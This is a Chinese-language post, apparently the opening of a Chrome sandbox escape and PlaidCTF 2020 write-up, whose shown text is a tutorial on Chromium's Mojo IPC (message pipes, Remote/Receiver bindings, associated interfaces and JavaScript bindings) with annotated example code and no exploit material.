chrome sandbox escape case study and plaidctf2020 mojo writeup

chrome sandbox escape case study and plaidctf2020 mojo writeup

mojo

Intro to Mojo & Services

mojo术语

message pipe是一对endpoints,对应通信的两端,每个endpoint保存一个传入消息队列,并且在一端写入消息可以有效地传送到另一端,因此message pipe是双向的。
一个mojom文件描述一组interfaces,其代表的是强类型的消息集合。
给定一个mojom接口和一条message pipe,可以将其中一端指定为Remote,用来发送该接口描述的消息,另一端指定为Recevier,用来接收接口的消息。
注意:上面的概括有点过于简化。请记住,消息管道仍然是双向的,mojom message有可能期望得到response,response是从Receiver端点发送的,并由Remote接收。
Receiver端必须和mojom接口的具体实现(implementation)相绑定,从而将收到的消息分发给对应的接口实现函数。

定义一个新的Frame Interface

假设我们想从render frame向其对应在browser进程里的RenderFrameHostImpl发送一个“Ping”消息,我们需要去定义一个mojom interface,创建一个pipe去使用这个interface,然后绑定好pipe的两端以发送和接收消息。

定义一个interface

第一步是去创建一个.mojom文件

1
2
3
4
5
6
7
// src/example/public/mojom/ping_responder.mojom
module example.mojom;

interface PingResponder {
// Receives a "Ping" and responds with a random integer.
Ping() => (int32 random);
};

对应创建一个build rule去生成c++ bindings

1
2
3
4
5
# src/example/public/mojom/BUILD.gn
import("//mojo/public/tools/bindings/mojom.gni")
mojom("mojom") {
sources = [ "ping_responder.mojom" ]
}
创建pipe

现在,让我们创建一个消息管道以使用此接口。通常,为了方便起见,在使用Mojo时,接口的client(即remote)通常是创建新pipe的一方。这很方便,因为可以使用Remote来立即发送消息,而无需等待InterfaceRequest端点被绑定到任何地方。

1
2
3
4
// src/third_party/blink/example/public/ping_responder.h
mojo::Remote<example::mojom::PingResponder> ping_responder;
mojo::PendingReceiver<example::mojom::PingResponder> receiver =
ping_responder.BindNewPipeAndPassReceiver();

在此示例中,ping_responder是Remote,并且receiver是PendingReceiver,这是Receiver的前身。BindNewPipeAndPassReceiver是创建消息管道的最常见方法:它产生PendingReceiver作为返回值。
注意:一个PendingReceiver实际上不执行任何操作。它是单个消息管道端点的惰性持有者。它的存在只是为了使其端点在编译时具有更强的类型,这表明该端点希望被绑定到具体的接口类型。

发送message

最后,我们可以通过Remote调用我们的Ping()方法来发送消息:

1
2
// src/third_party/blink/example/public/ping_responder.h
ping_responder->Ping(base::BindOnce(&OnPong));

重要说明:如果我们想接收response,则必须保持ping_responder对象处于活动状态直到OnPong被调用。毕竟,ping_responder拥有消息管道端点。如果它被销毁了,那么端点也将被销毁,将没有任何东西可以接收到响应消息。
我们快完成了!当然,如果一切都这么简单,那么该文档就不需要存在。我们已经解决了将消息从render进程发送到browser进程的难题,并将其转化为一个问题:
我们只要把上面的receiver object传递给browser进程,就可以让receiver来分发它收到的消息到具体的实现函数里。

发送PendingReceiver给Browser

值得注意的是,PendingReceivers(通常是消息管道端点)也是可以通过mojom消息自由发送的一种对象,将PendingReceiver放置在某处的最常见方法是将其作为方法参数传递给其他已经连接的接口。
将render里的RenderFrameImpl和其对应的RenderFrameHostImpl连接的interface是BrowserInterfaceBroker
这个interface是用来获取其他interface的factory,它的GetInterface方法接收一个GenericPendingReceiver(GenericPendingReceiver允许传递任意的interface receiver)

1
2
3
interface BrowserInterfaceBroker {
GetInterface(mojo_base.mojom.GenericPendingReceiver receiver);
}

由于GenericPendingReceiver可以从任何PendingReceiver隐式构造,所以可以使用之前通过BindNewPipeAndPassReceiver创建的receiver来调用此方法:

1
2
RenderFrame* my_frame = GetMyFrame();
my_frame->GetBrowserInterfaceBroker().GetInterface(std::move(receiver));

这将传送PendingReceiver到browser进程里,并被BrowserInterfaceBroker接口的具体实现接收和处理。

实现interface

我们需要一个browser-side的PingResponder实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "example/public/mojom/ping_responder.mojom.h"

class PingResponderImpl : example::mojom::PingResponder {
public:
// impl里保存receiver_
explicit PingResponderImpl(mojo::PendingReceiver<example::mojom::PingResponder> receiver)
: receiver_(this, std::move(receiver)) {}

// example::mojom::PingResponder:
void Ping(PingCallback callback) override {
// Respond with a random 4, chosen by fair dice roll.
std::move(callback).Run(4);
}

private:
mojo::Receiver<example::mojom::PingResponder> receiver_;

DISALLOW_COPY_AND_ASSIGN(PingResponderImpl);
};

RenderFrameHostImpl保存一个BrowserInterfaceBroker的实现,当此实现收到GetInterface方法调用时,它将调用先前为此特定接口注册的处理程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// render_frame_host_impl.h
class RenderFrameHostImpl
...
void GetPingResponder(mojo::PendingReceiver<example::mojom::PingResponder> receiver);
...
private:
...
std::unique_ptr<PingResponderImpl> ping_responder_;
...
// BrowserInterfaceBroker implementation through which this
// RenderFrameHostImpl exposes document-scoped Mojo services to the currently
// active document in the corresponding RenderFrame.
BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{
this};
mojo::Receiver<blink::mojom::BrowserInterfaceBroker> broker_receiver_{
&broker_};
};

// render_frame_host_impl.cc
// 可以看到GetPingResponder使用receiver构造出了一个PingResponderImpl对象
void RenderFrameHostImpl::GetPingResponder(
mojo::PendingReceiver<example::mojom::PingResponder> receiver) {
ping_responder_ = std::make_unique<PingResponderImpl>(std::move(receiver));
}

// browser_interface_binders.cc
void PopulateFrameBinders(RenderFrameHostImpl* host,
mojo::BinderMap* map) {
...
// Register the handler for PingResponder.
map->Add<example::mojom::PingResponder>(base::BindRepeating(
&RenderFrameHostImpl::GetPingResponder, base::Unretained(host)));
}

我们完成了,此设置足以在renderer frame与其browser-side host之间建立新的接口连接!
假设我们在render中将ping_responder对象保持足够长的生命,我们最终将看到其OnPong回调将以参数4调用,如上面的browser端实现所定义。

Mojo Basics

Interfaces

同上,我们再看一组interface和它的impl
Mojo通过callback来返回result,即正常我们看到的是return一个返回值return_value,而mojo则是在最后调用callback(return_value)来返回result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
module math.mojom;

interface Math {
// Adds two int32s and returns the result as an int64 (to avoid
// overflow issues).
Add(int32 x, int32 y) => (int64 sum);
};
...
mojom("mojom") {
sources = ["math.mojom"]
}
...
class MathImpl : public math::mojom::Math {
public:
explicit MathImpl(mojo::PendingReceiver<math::mojom::Math> receiver)
: receiver_(this, std::move(receiver)) {}
// math::mojom::Math overrides:
// Note: AddCallback is a type alias for base::OnceCallback<void(int64_t)>.
// The parameters to the callback are the reply parameters specified in the
// Mojo IDL method definition. This is part of the boilerplate generated by
// Mojo: invoking |reply| will send a reply to the caller.
void Add(int32_t x, int32_t y, AddCallback reply) override {
// Note: Mojo always returns results via callback. While it is possible to
// make a sync IPC which blocks on the reply, the handler will always return
// the result via callback.
std::move(reply).Run(static_cast<int64_t>(x) + y);
}

private:
// Wraps a message pipe endpoint that receives incoming messages. See the
// message pipes section below for more information.

// wrap消息管道的receiver端
mojo::Receiver<math::mojom::Math> receiver_;
};

Message Pipes

message pipe的两端已经在上面说过了,不再赘述

1
2
3
4
5
6
7
8
9
// Wraps a message pipe endpoint for making remote calls. May only be used on
// the sequence where the mojo::Remote was bound.
mojo::Remote<math::mojom::Math> remote_math = ...;
...
// 通常是保存在mojo impl里的一个类成员,wrap message pipe的receiver端,其分发ipc消息到具体的handler(典型的来说,就是发给this,也就是impl),
// Usually a class member. Wraps a message pipe endpoint that receives incoming
// messages. Routes and dispatches IPCs to the handler—typically |this|—on the
// sequence where the mojo::Receiver was bound.
mojo::Receiver<math::mojom::Math> receiver_;

总之,作为结论,对于某一个interface,sender A可以向receiver B进行任意数量的call,而B则可以针对A的每一次call发送一个response给A处理,这就体现出了一种有限的双向通信。
Message Pipes可以使用下述方法创建

mojo::Remote::BindNewPipeAndPassReceiver

当sender/caller创建endpoint时使用。保留一个endpoint以发送IPC消息,另一端点作为未绑定的mojo::PendingReceiver<T>返回,以便receiver/callee绑定到mojo::Receiver<T>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mojo::Remote<math::mojom::Math> remote_math;

// BindNewPipeAndPassReceiver返回一个mojo::PendingReceiver<math::mojom::Math>.
// 这可以被bound到一个mojo::Receiver<math::mojom::Math>去处理来自remote_math的调用

// BindNewPipeAndPassReceiver() returns a
// mojo::PendingReceiver<math::mojom::Math>. This may be bound to a
// mojo::Receiver<math::mojom::Math> to handle calls received from
// |remote_math|.
LaunchAndBindRemoteMath(remote_math.BindNewPipeAndPassReceiver());

// remote_math可以立刻被使用,Add call消息将在receiving端排队,直到其被bound到一个mojo::Receiver<math::mojom::Math>.
// 例如,被mojom的impl使用其构造receive_字段以隐式绑定或者显式的通过::Bind来绑定。
// |remote_math| may be immediately used. The Add() call will be buffered by the
// receiving end and dispatched when mojo::PendingReceiver<math::mojom::Math> is
// bound to a mojo::Receiver<math::mojom::Math>.
remote_math->Add(2, 2, base::BindOnce(...));
mojo::Receiver::BindNewPipeAndPassRemote

在receiver/callee创建端点时使用。保留一个端点以接收IPC,另一个端点作为未绑定的mojo::PendingRemote<T>返回,以使sender/caller方绑定到mojo::Remote<T>

1
2
3
4
5
6
7
8
9
10
11
class MathImpl : public math::mojom::MathImpl {
// ...addition to the previous MathImpl definition...

mojo::PendingRemote<math::mojom::Math> GetRemoteMath() {
// BindNewPipeAndPassRemote() returns a
// `mojo::PendingRemote<math::mojom::Math>`. This may be bound to a
// `mojo::Remote<math::mojom::Math> which can be used to send IPCs that will
// be handled by |this|.
return receiver_.BindNewPipeAndPassRemote();
}
};
mojo::PendingRemote::InitWithNewPipeAndPassReceiver

不太常见,类似于mojo::Remote<T>::BindNewPipeAndPassReceiver()

mojo::Remote/mojo::Receiver and mojo::PendingRemote/mojo::PendingReceiver

mojo::Remote<T>mojo::Receiver<T>都有相应的未绑定版本:这允许在同一进程中的sequences之间,甚至在IPC上的进程之间传递端点。

1
2
3
4
5
6
7
8
mojo::Remote<math::mojom::MathImpl> remote = ...;
// |pending_remote| 是可移动的,并且可能会被传递。
// 未绑定时,端点不能用于发送IPC。pending_remote可以传递给mojo::Remote <T>构造函数或mojo::Remote<T>::Bind()来重新绑定端点。
// |pending_remote| is movable and may be passed around. While unbound, the
// endpoint cannot be used to send IPCs. The pending remote may be passed to
// the mojo::Remote<T> constructor or mojo::Remote<T>::Bind() to rebind the
// endpoint.
mojo::PendingRemote<math::mojom::MathImpl> pending_remote = remote.Unbind();
1
2
3
4
5
6
mojo::Receiver<math::mojom::MathImpl> receiver = ...;
// |pending_receiver| is movable and may be passed around. While unbound,
// received IPCs are buffered and not processed. The pending receiver may be
// passed to the mojo::Receiver<T> constructor or mojo::Receiver<T>::Bind() to
// rebind the endpoint.
mojo::PendingReceiver<math::mojom::MathImpl> pending_receiver = receiver.Unbind();

这里的bind和unbind实际上是通过在receiver里保存一个bind state对象来维护的,具体的不叙,可以参考具体代码

Mojo C++ Bindings API

Getting Started

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//services/db/public/mojom/db.mojom
module db.mojom;

interface Table {
AddRow(int32 key, string data);
};

interface Database {
CreateTable(Table& table);
};
...
//services/db/public/mojom/BUILD.gn
import("//mojo/public/tools/bindings/mojom.gni")

mojom("mojom") {
sources = [
"db.mojom",
]
}
...
deps += [ '//services/db/public/mojom' ]
...
运行ninja -C out/r services/db/public/mojom会生成
->
out/gen/services/db/public/mojom/db.mojom.cc
out/gen/services/db/public/mojom/db.mojom.h

你能在源码里包含上面生成的头文件,以使用其定义

1
2
3
4
5
#include "services/business/public/mojom/factory.mojom.h"

class TableImpl : public db::mojom::Table {
// ...
};

本文档涵盖了Mojom IDL为C++使用者生成的各种定义,以及如何有效地使用它们,在消息管道之间进行通信。

Interfaces

Basic Usage

让我们看一下//sample/logger.mojom里定义的简单的接口,以及client如何使用他们去log simple string message。

1
2
3
4
5
module sample.mojom;

interface Logger {
Log(string message);
};

通过binding generator将生成下面的定义

1
2
3
4
5
6
7
8
9
10
11
namespace sample {
namespace mojom {

class Logger {
virtual ~Logger() {}

virtual void Log(const std::string& message) = 0;
};

} // namespace mojom
} // namespace sample
Remote and PendingReceiver

Creating Interface Pipes

一种方法是手动创建pipe,并用强类型对象包装两端:

1
2
3
4
5
6
#include "sample/logger.mojom.h"

mojo::MessagePipe pipe;
mojo::Remote<sample::mojom::Logger> logger(
mojo::PendingRemote<sample::mojom::Logger>(std::move(pipe.handle0), 0));
mojo::PendingReceiver<sample::mojom::Logger> receiver(std::move(pipe.handle1));

这很冗长,所以c++ binding库提供了更简便的方法来完成这件事。remote.h定义了BindNewPipeAndPassReceiver

1
2
mojo::Remote<sample::mojom::Logger> logger;
auto receiver = logger.BindNewPipeAndPassReceiver());

这个代码和之前的等价。

绑定PendingRemote<Logger>后,我们可以立即开始在其上调用Logger接口方法,该方法将立即将消息写入管道。这些消息将在管道的receiver排队,直到有人绑定到receiver并开始读取它们为止。

1
logger->Log("Hello!");


但是PendingReceiver<T>本质上只是一个类型化的容器,用于容纳Remote<T>管道的另一端(即接收端),直到将其绑定到接口的具体实现上。 PendingReceiver<T>实际上除了保留管道端点并携带有用的编译时类型信息外,没有做任何其他事情。
因此该消息将永远存在于管道中。我们需要一种从管道的另一端读取消息并进行分发的方法。我们必须bind这个pending receiver

Binding a Pending Receiver

这有许多不同的helper类,用于binding message pipe的receiver端,其中最原始的是mojo::Receiver<T>mojo::Receiver<T>将T的impl和单个的message pipe端点mojo::PendingReceiver<T>绑定到一起,并监视是否有新消息发送过来。
每当bound pipe有新消息可读,Receiver都会安排一个task去读,反序列化消息并将其分发到其绑定的impl去。
下面是Logger接口的示例实现,注意,一般implement会own mojo::Receiver字段,这是一种常见的模式。因为绑定的implement必须比绑定它的任何mojo::Receiver存活的更久

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include "base/logging.h"
#include "base/macros.h"
#include "sample/logger.mojom.h"

class LoggerImpl : public sample::mojom::Logger {
public:
// NOTE: A common pattern for interface implementations which have one
// instance per client is to take a PendingReceiver in the constructor.

explicit LoggerImpl(mojo::PendingReceiver<sample::mojom::Logger> receiver)
: receiver_(this, std::move(receiver)) {}
~Logger() override {}

// sample::mojom::Logger:
void Log(const std::string& message) override {
LOG(ERROR) << "[Logger] " << message;
}

private:
mojo::Receiver<sample::mojom::Logger> receiver_;

DISALLOW_COPY_AND_ASSIGN(LoggerImpl);
};

现在我们可以使用PendingReceiver<Logger>来构造出一个LoggerImpl,LoggerImpl impl(std::move(receiver));

Receiving Responses

一些mojom接口需要response,我们修改Logger接口,从而获取最后一个Log行。

1
2
3
4
5
6
module sample.mojom;

interface Logger {
Log(string message);
GetTail() => (string message);
};

现在生成的c++ interface是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
namespace sample {
namespace mojom {

class Logger {
public:
virtual ~Logger() {}

virtual void Log(const std::string& message) = 0;

using GetTailCallback = base::OnceCallback<void(const std::string& message)>;

virtual void GetTail(GetTailCallback callback) = 0;
}

} // namespace mojom
} // namespace sample

和之前一样,此接口的client和implement对GetTail都使用相同的函数签名:implement使用callback参数去对请求进行响应,而client传递callback参数来异步接收响应,现在的implement是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class LoggerImpl : public sample::mojom::Logger {
public:
// NOTE: A common pattern for interface implementations which have one
// instance per client is to take a PendingReceiver in the constructor.

explicit LoggerImpl(mojo::PendingReceiver<sample::mojom::Logger> receiver)
: receiver_(this, std::move(receiver)) {}
~Logger() override {}

// sample::mojom::Logger:
void Log(const std::string& message) override {
LOG(ERROR) << "[Logger] " << message;
lines_.push_back(message);
}

void GetTail(GetTailCallback callback) override {
std::move(callback).Run(lines_.back());
}

private:
mojo::Receiver<sample::mojom::Logger> receiver_;
std::vector<std::string> lines_;

DISALLOW_COPY_AND_ASSIGN(LoggerImpl);
};

现在client可以这样调用GetTail

1
2
3
4
5
void OnGetTail(const std::string& message) {
LOG(ERROR) << "Tail was: " << message;
}

logger->GetTail(base::BindOnce(&OnGetTail));

Sending Interfaces Over Interfaces

我们知道如何创建接口管道,并以一些有趣的方式使用它们的Remote和PendingReceiver端点。这仍然不构成有趣的IPC!Mojo IPC的主要功能是能够跨其他接口传输接口端点,因此让我们看一下如何实现这一点。

Sending Pending Receivers

考虑如下Mojom

1
2
3
4
5
6
7
8
9
module db.mojom;

interface Table {
void AddRow(int32 key, string data);
};

interface Database {
AddTable(pending_receiver<Table> table);
};

pending_receiver<Table>对应c++里的PendingReceiver<T>类型,并且为这个mojom生成类似如下的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
namespace db {
namespace mojom {

class Table {
public:
virtual ~Table() {}

virtual void AddRow(int32_t key, const std::string& data) = 0;
}

class Database {
public:
virtual ~Database() {}

virtual void AddTable(mojo::PendingReceiver<Table> table);
};

} // namespace mojom
} // namespace db

其对应的implemention如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "sample/db.mojom.h"

class TableImpl : public db::mojom:Table {
public:
explicit TableImpl(mojo::PendingReceiver<db::mojom::Table> receiver)
: receiver_(this, std::move(receiver)) {}
~TableImpl() override {}

// db::mojom::Table:
void AddRow(int32_t key, const std::string& data) override {
rows_.insert({key, data});
}

private:
mojo::Receiver<db::mojom::Table> receiver_;
std::map<int32_t, std::string> rows_;
};

class DatabaseImpl : public db::mojom::Database {
public:
explicit DatabaseImpl(mojo::PendingReceiver<db::mojom::Database> receiver)
: receiver_(this, std::move(receiver)) {}
~DatabaseImpl() override {}

// db::mojom::Database:
void AddTable(mojo::PendingReceiver<db::mojom::Table> table) {
tables_.emplace_back(std::make_unique<TableImpl>(std::move(table)));
}

private:
mojo::Receiver<db::mojom::Database> receiver_;
std::vector<std::unique_ptr<TableImpl>> tables_;
};

pending_receiver<Table>参数对应的是一个强类型的message pipe handle,当DatabaseImpl接收到一个AddTable消息时,它构造一个新的TableImpl实例,并且将其绑定到接收到的mojo::PendingReceiver<db::mojom::Table>
让我们看一下具体的用法

1
2
3
4
5
6
7
8
9
mojo::Remote<db::mojom::Database> database;
DatabaseImpl db_impl(database.BindNewPipeAndPassReceiver());

mojo::Remote<db::mojom::Table> table1, table2;
database->AddTable(table1.BindNewPipeAndPassReceiver());
database->AddTable(table2.BindNewPipeAndPassReceiver());

table1->AddRow(1, "hiiiiiiii");
table2->AddRow(2, "heyyyyyy");

请注意,即使它们的mojo::PendingReceiver<db::mojom::Table>端点仍在传输中,我们也可以立即立即开始使用新的Table管道。

Sending Remote

当然我们也可以发送Remotes

1
2
3
4
5
6
7
8
9
interface TableListener {
OnRowAdded(int32 key, string data);
};

interface Table {
AddRow(int32 key, string data);

AddListener(pending_remote<TableListener> listener);
};

生成这样的代码

1
virtual void AddListener(mojo::PendingRemote<TableListener> listener) = 0;

使用起来是这样的

1
2
3
mojo::PendingRemote<db::mojom::TableListener> listener;
TableListenerImpl impl(listener.InitWithNewPipeAndPassReceiver());
table->AddListener(std::move(listener));

Other Interface Binding Types

Self-owned Receivers

self-owned的receiver作为一个独立的object存在,它拥有一个std::unique_ptr指向其绑定的interface implemention,并且在MessagePipe被关闭或者发生一些错误时,负责任的去delete implemention,所以其将一个interface implemention和MessagePipe绑定到了一起。
MakeSelfOwnedReceiver函数被用于创建这样的receiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class LoggerImpl : public sample::mojom::Logger {
public:
LoggerImpl() {}
~LoggerImpl() override {}

// sample::mojom::Logger:
void Log(const std::string& message) override {
LOG(ERROR) << "[Logger] " << message;
}

private:
// NOTE: This doesn't own any Receiver object!
};

mojo::Remote<db::mojom::Logger> logger;
mojo::MakeSelfOwnedReceiver(std::make_unique<LoggerImpl>(),
logger.BindNewPipeAndPassReceiver());

logger->Log("NOM NOM NOM MESSAGES");

只要logger在系统中的某个位置保持open状态,在另一端绑定的LoggerImpl将存活。

Receiver Sets

在多个client共享同一个implement实例的时候使用。

1
2
3
4
5
6
7
8
9
module system.mojom;

interface Logger {
Log(string message);
};

interface LoggerProvider {
GetLogger(Logger& logger);
};

如此我们就可以使用ReceiverSet去绑定多个Looger pending receiver到单个implement实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class LogManager : public system::mojom::LoggerProvider,
public system::mojom::Logger {
public:
explicit LogManager(mojo::PendingReceiver<system::mojom::LoggerProvider> receiver)
: provider_receiver_(this, std::move(receiver)) {}
~LogManager() {}

// system::mojom::LoggerProvider:
void GetLogger(mojo::PendingReceiver<Logger> receiver) override {
logger_receivers_.Add(this, std::move(receiver));
}

// system::mojom::Logger:
void Log(const std::string& message) override {
LOG(ERROR) << "[Logger] " << message;
}

private:
mojo::Receiver<system::mojom::LoggerProvider> provider_receiver_;
mojo::ReceiverSet<system::mojom::Logger> logger_receivers_;
};
Remote Sets

同理,有时维护一组Remotes很有用,例如一组观察某些事件的client。

1
2
3
4
5
6
7
8
9
10
module db.mojom;

interface TableListener {
OnRowAdded(int32 key, string data);
};

interface Table {
AddRow(int32 key, string data);
AddListener(pending_remote<TableListener> listener);
};

Table的实现可能是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class TableImpl : public db::mojom::Table {
public:
TableImpl() {}
~TableImpl() override {}

// db::mojom::Table:
void AddRow(int32_t key, const std::string& data) override {
rows_.insert({key, data});
listeners_.ForEach([key, &data](db::mojom::TableListener* listener) {
listener->OnRowAdded(key, data);
});
}

void AddListener(mojo::PendingRemote<db::mojom::TableListener> listener) {
listeners_.Add(std::move(listener));
}

private:
mojo::RemoteSet<db::mojom::Table> listeners_;
std::map<int32_t, std::string> rows_;
};

Associated Interfaces

  • 允许在message pipe上运行多个interface,同时保留message的顺序
  • 使receiver可以从多个sequence访问单个message pipe
    Mojom
    引入新的类型pending_associated_remote和pending_associated_receiver
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    interface Bar {};

    struct Qux {
    pending_associated_remote<Bar> bar;
    };

    interface Foo {
    // Uses associated remote.
    PassBarRemote(pending_associated_remote<Bar> bar);
    // Uses associated receiver.
    PassBarReceiver(pending_associated_receiver<Bar> bar);
    // Passes a struct with associated interface pointer.
    PassQux(Qux qux);
    // Uses associated interface pointer in callback.
    AsyncGetBar() => (pending_associated_remote<Bar> bar);
    };
    在每个interface impl/client将使用相同的message pipe,通过传递associated remote/receiver进行通信
Passing pending associated receivers

假设你已经有了一个Remote<Foo> foo,你想要去call PassBarReceiver,你可以这样:

1
2
3
4
5
6
7
mojo::PendingAssociatedRemote<Bar> pending_bar;
mojo::PendingAssociatedReceiver<Bar> bar_receiver = pending_bar.InitWithNewEndpointAndPassReceiver();
foo->PassBarReceiver(std::move(bar_receiver));

mojo::AssociatedRemote<Bar> bar;
bar.Bind(std::move(pending_bar));
bar->DoSomething();

首先代码创建一个Bar类型的associated interface,和之前我们创建的不同在于,associated的两端(bar_receiver和pending_bar)之一,必须通过另一个interface发送,这就是接口和现有message pipe关联的方式。

应该注意的是,在传递bar_receiver之前不能调用bar->DoSomething(),需要满足FIFO:
在接收方,当DoSomething调用的消息到达时,我们希望在处理任何后续消息之前将其分派到对应的AssociatedReceiver<Bar>,如果bar_receiver在后续的消息里,那么消息调度就将陷入死锁。
另一方面,一旦发送了bar_receiver,bar就可以使用,而无须等待bar_receiver绑定到具体的implemention。
上面的代码也可以写成这样,包一层语法糖

1
2
3
mojo::AssociatedRemote<Bar> bar;
foo->PassBarReceiver(bar.BindNewEndpointAndPassReceiver());
bar->DoSomething();

Foo的impl实现如下:

1
2
3
4
5
6
7
8
9
10
11
class FooImpl : public Foo {
...
void PassBarReceiver(mojo::AssociatedReceiver<Bar> bar) override {
bar_receiver_.Bind(std::move(bar));
...
}
...

Receiver<Foo> foo_receiver_;
AssociatedReceiver<Bar> bar_receiver_;
};

在这个例子里,bar_receiver_的生命周期和FooImpl息息相关,但是你不必这样做。
你可以将bar2传递到另一个序列,然后在那里绑定AssociatedReceiver<Bar>

Passing associated remotes

同理

1
2
3
4
5
mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl);
mojo::PendingAssociatedRemote<Bar> bar;
mojo::PendingAssociatedReceiver<Bar> bar_pending_receiver = bar.InitWithNewEndpointAndPassReceiver();
foo->PassBarRemote(std::move(bar));
bar_receiver.Bind(std::move(bar_pending_receiver));
1
2
3
4
mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl);
mojo::PendingAssociatedRemote<Bar> bar;
bar_receiver.Bind(bar.InitWithNewPipeAndPassReceiver());
foo->PassBarRemote(std::move(bar));

Mojo JavaScript Bindings API

Getting Started

bindings API被定义在mojo namespace里,其实现在mojo_bindings.js
当bindings generator处理mojom IDL文件时,将会生成对应的mojom.js文件。
假设我们创建一个//services/echo/public/interfaces/echo.mojom文件和//services/echo/public/interfaces/BUILD.gn

1
2
3
4
5
module test.echo.mojom;

interface Echo {
EchoInteger(int32 value) => (int32 result);
};
1
2
3
4
5
6
7
import("//mojo/public/tools/bindings/mojom.gni")

mojom("interfaces") {
sources = [
"echo.mojom",
]
}

通过构建如下生成target,来生成bindings。

  • foo_js JavaScript bindings; 被用在compile-time dependency.
  • foo_js_data_deps JavaScript bindings; 被用在run-time dependency.

如果我们编译这个target,这将生成几个source file

1
ninja -C out/r services/echo/public/interfaces:interfaces_js

其中与js binding相关的是

1
out/gen/services/echo/public/interfaces/echo.mojom.js

为了使用echo.mojom中的定义,您将需要使用<script>标签在html页面中包括两个文件:

  • mojo_bindings.js: 注意这个文件必须放在所有的.mojom.js文件之前。
  • echo.mojom.js
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <!DOCTYPE html>
    <script src="URL/to/mojo_bindings.js"></script>
    <script src="URL/to/echo.mojom.js"></script>
    <script>

    var echoPtr = new test.echo.mojom.EchoPtr();
    var echoRequest = mojo.makeRequest(echoPtr);
    // ...

    </script>

    Interfaces

    和C++ bindings API相同的是,我们有
  • mojo.InterfacePtrInfomojo.InterfaceRequest封装message pipe的两端,他们分别代表interface连接的client端和service端
  • 对于每个Mojom interface Foo,这也生成一个FooPtr类,它保存一个InterfacePtrInfo,提供了使用InterfacePtrInfo中的message pipe handle发送interface call的方法。
  • mojo.Binding保存一个InterfaceRequest。 它侦听message pipe handle,并将传入的message分发到user-defined的interface实现。

让我们考虑上面的echo.mojom示例。下面显示了如何创建Echo interface connection和使用它进行call。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>

function EchoImpl() {}
EchoImpl.prototype.echoInteger = function(value) {
return Promise.resolve({result: value});
// Promise.resolve('foo')
// 粗略可以理解成,但注意这并不严格等价,只是在这里可以这么理解
// new Promise(resolve => resolve('foo'))
};

var echoServicePtr = new test.echo.mojom.EchoPtr();
var echoServiceRequest = mojo.makeRequest(echoServicePtr);
var echoServiceBinding = new mojo.Binding(test.echo.mojom.Echo,
new EchoImpl(),
echoServiceRequest);
echoServicePtr.echoInteger({value: 123}).then(function(response) {
console.log('The result is ' + response.result);
});

</script>
Interface Pointer and Request

在上面的示例中,test.echo.mojom.EchoPtr是一个interface pointer类,它代表interface connection的client。对于Echo Mojom接口中的方法EchoInteger,在EchoPtr中定义了相应的echoInteger方法(注意,生成的method name的格式为camelCaseWithLowerInitial,即小驼峰,第一个字母小写)
这就是实际生成的echo.mojom.js
在上面的实例中,echoServiceRequest是一个InterfaceRequest实例,它代表接口连接的server。
mojo.makeRequest创建一个message pipe,用pipe的一端填充output参数(可以是InterfacePtrInfo或interface pointer),返回包装在InterfaceRequest实例中的另一端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// |output| could be an interface pointer, InterfacePtrInfo or
// AssociatedInterfacePtrInfo.
function makeRequest(output) {
if (output instanceof mojo.AssociatedInterfacePtrInfo) {
var {handle0, handle1} = internal.createPairPendingAssociation();
output.interfaceEndpointHandle = handle0;
output.version = 0;

return new mojo.AssociatedInterfaceRequest(handle1);
}

if (output instanceof mojo.InterfacePtrInfo) {
var pipe = Mojo.createMessagePipe();
output.handle = pipe.handle0;
output.version = 0;

return new mojo.InterfaceRequest(pipe.handle1);
}

var pipe = Mojo.createMessagePipe();
output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
return new mojo.InterfaceRequest(pipe.handle1);
}
Binding an InterfaceRequest

mojo.Binding桥接了interface的实现和message pipe的一端,从而将传入的message从server端分派到该实现。
在上面的示例中,echoServiceBinding侦听message pipe上的传入的EchoInteger方法调用,并将这些调用分派到EchoImpl实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// ---------------------------------------------------------------------------

// |request| could be omitted and passed into bind() later.
//
// Example:
//
// // FooImpl implements mojom.Foo.
// function FooImpl() { ... }
// FooImpl.prototype.fooMethod1 = function() { ... }
// FooImpl.prototype.fooMethod2 = function() { ... }
//
// var fooPtr = new mojom.FooPtr();
// var request = makeRequest(fooPtr);
// var binding = new Binding(mojom.Foo, new FooImpl(), request);
// fooPtr.fooMethod1();
function Binding(interfaceType, impl, requestOrHandle) {
this.interfaceType_ = interfaceType;
this.impl_ = impl;
this.router_ = null;
this.interfaceEndpointClient_ = null;
this.stub_ = null;

if (requestOrHandle)
this.bind(requestOrHandle);
}
...
...
